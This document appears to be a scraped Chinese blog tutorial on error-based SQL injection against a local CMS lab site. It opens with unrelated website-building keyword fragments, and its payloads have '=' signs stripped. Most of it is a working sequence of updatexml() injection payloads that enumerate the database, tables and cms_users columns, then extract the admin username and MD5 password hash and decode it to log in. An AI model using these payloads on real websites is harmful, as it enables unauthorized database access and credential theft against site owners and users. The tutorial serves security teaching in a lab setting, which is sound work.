一款教育培训咨询有限公司网站源码,网站地图怎么添加,网站建设项目的预表,深圳企业网站建设设计文章目录 报错注入是什么#xff1f;报错注入获取cms账号密码成功登录 报错注入是什么#xff1f; 在注入点的判断过程中#xff0c;发现数据库中SQL 语句的报错信息#xff0c;会显示在页面中#xff0c;因此可以利用报错信息进行注入。 报错注入的原理#xff0c;就是在… 文章目录 报错注入是什么报错注入获取cms账号密码成功登录 报错注入是什么 在注入点的判断过程中发现数据库中SQL 语句的报错信息会显示在页面中因此可以利用报错信息进行注入。 报错注入的原理就是在错误信息中执行SQL 语句。触发报错的方式有很多具体细节也不尽相同。此处建议直接背公式将公式带换掉 11 的部分。 报错注入就是在判断SQL注入的注入点时发现数据库的报错信息会回显到页面上那么就可以对报错信息进行注入操作。
报错注入获取cms账号密码
打开cms数据库的网页http://127.0.0.1/cms/show.php?id33
打开hackbar插件在URL中输入命令测试
报错注入公式
updatexml(1,concat(0x5e,(select database()),0x5e),1)获取数据库名
?id33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)运行结果
数据库名为cms 获取表个数 count*获取表个数 0x5e:^符用来分割报错和输出的结果 concat将多个字符连接成一个字符串 ?id33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schemadatabase()),0x5e),1)运行结果
一共有8个表 逐个获取表名 报错注入不同于联合查询它只能逐个获取表名 limit 01用来限定取第0行的一行记录由于有8个表也就是有8行数据多取会报错。 information_schema 元数据数据库 存储库名、表名-- tables 存储列名-- columns) 取第0行的一行记录
?id33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x5e),1)运行结果
找出表名cms_article 去第1行的一行记录
?id33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schemadatabase() limit 1,1),0x5e),1)运行结果
找出表名cms_category 以此类推直到取出所有表名 cms_article cms_category cms_file cms_friendlink cms_message cms_notice cms_page cms_users 获取cms_users表的列的个数 table_name0x636d735f7573657273是cms_users表名转16进制后的结果如果直接用表名’cms_users’会导致表名被cms**转义并报错**所以需要避免单引号的使用。 ?id33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.columns where table_schemadatabase() and table_name0x636d735f7573657273),0x5e),1)运行结果
cms_users表中一共有三列数据 获取cms_users表的列的字段内容 limit 01用来限定取第0行的一行记录由于有3行数据多取会报错。 limit 11用来限定取第1行的一行记录由于有3行数据多取会报错。 … 取第一行数据
?id33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schemadatabase() and table_name0x636d735f7573657273 limit 0,1),0x5e),1)运行结果 取第二行数据
?id33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schemadatabase() and table_name0x636d735f7573657273 limit 1,1),0x5e),1)运行结果 取出的所有字段 userid username password 获取username的内容
?id33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)运行结果
用户名为admin 获取password中的密文 length(password)获取password的密文长度由于password中的密码是一段md5密文长度过长不能一次取出先获取长度后分次取出。 获取密文长度
?id33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)运行结果
md5密文长度是32 取前16位密码
?id33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)运行结果
前16位md5密码密文 取后16位密码
?id33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)运行结果
后16位密文 拼接后获得md5密码密文
e10adc3949ba59abbe56e057f20f883e解码得到明文密码
123456成功登录